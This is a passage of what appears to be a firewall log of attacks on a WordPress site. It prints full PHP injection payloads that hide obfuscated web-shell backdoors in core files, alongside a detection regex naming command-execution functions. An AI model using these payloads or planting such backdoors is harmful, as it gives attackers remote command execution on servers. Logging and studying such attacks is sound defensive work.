%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:50:11","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncontent-length:9185\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\nhost:dewenlabels.com\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-post-types-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524pointer1%2520%253D%2520%25273%2527%253B%2524pointer2%2520%253D%2520%25277%2527%253B%2524pointer3%2520%253D%2520%25276%2527%253B%2524pointer4%2520%253D%2520%25278%2527%253B%2524pointer5%2520%253D%2520%2527c%2527%253B%2524pointer6%2520%253D%2520%2527f%2527%253B%2524pointer7%2520%253D%2520%25275%2527%253B%2524pointer8%2520%253D%2520%25270%2527%253B%2524pointer9%2520%253D%2520%25271%2527%253B%2524pointer10%2520%253D%2520%2527d%2527%253B%2524pointer11%2520%253D%2520%2527e%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524pointer1%2520.%2520%25277%2527%2520.%2520%25279%2527%2520.%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2524pointer4%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer5%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25275%2527%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25277%2527%2520.%2520%2524pointer4%2520.%2520%25276%2527%2520.%2520%2524pointer7%2520.%2520%25276%2527%2520.%2520%25273%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2524pointer9%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer4%2520.%2520%2524pointer2%2520.%2520%25272%2527%2520.%2520%25277%2527%2520.%2520%25275%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer2%2520.%2520%2524pointer8%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%2524pointer2%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%25272%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2524pointer10%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%25277%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2524pointer6%2520.%2520%25276%2527%2520.%2520%2524pointer1%2520.%2520%2524pointer3%2520.%2520%2524pointer6%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer3%2520.%2520%2527e%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25277%2527%2520.%2520%2524pointer1%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524pointer3%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer5%2520.%2520%25276%2527%2520.%2520%2524pointer6%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2529%253B%2524event_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%2524pointer2%2520.%2520%2524pointer3%2520.%2520%2524pointer3%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524pointer11%2520.%2520%2524pointer2%2520.%2520%25274%2527%2520.%2520%2524pointer7%2520.%2520%2527f%2527%2520.%2520%2524pointer3%2520.%2520%25278%2527%2520.%2520%2524pointer3%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527e%2527%2520.%2520%25276%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524pointer3%2520.%2520%2524pointer7%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_handler%255D%2529%2529%257B%2524event_handler%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_handler%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524event_handler%252C%2524factor_pset%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524factor_pset%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524event_handler%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524item_marker%253D%2524right_pad_string5%2528%2524event_handler%252C%2522r%2522%2529%253Bif%2528%2524item_marker%2529%257B%2524component_flag%253D%2524right_pad_string6%2528%2524item_marker%2529%253B%2524right_pad_string7%2528%2524item_marker%2529%253Bprint%2520%2524component_flag%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 18:50:15","78.142.18.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2053\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\ntS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-previous.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ppRpTZ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%2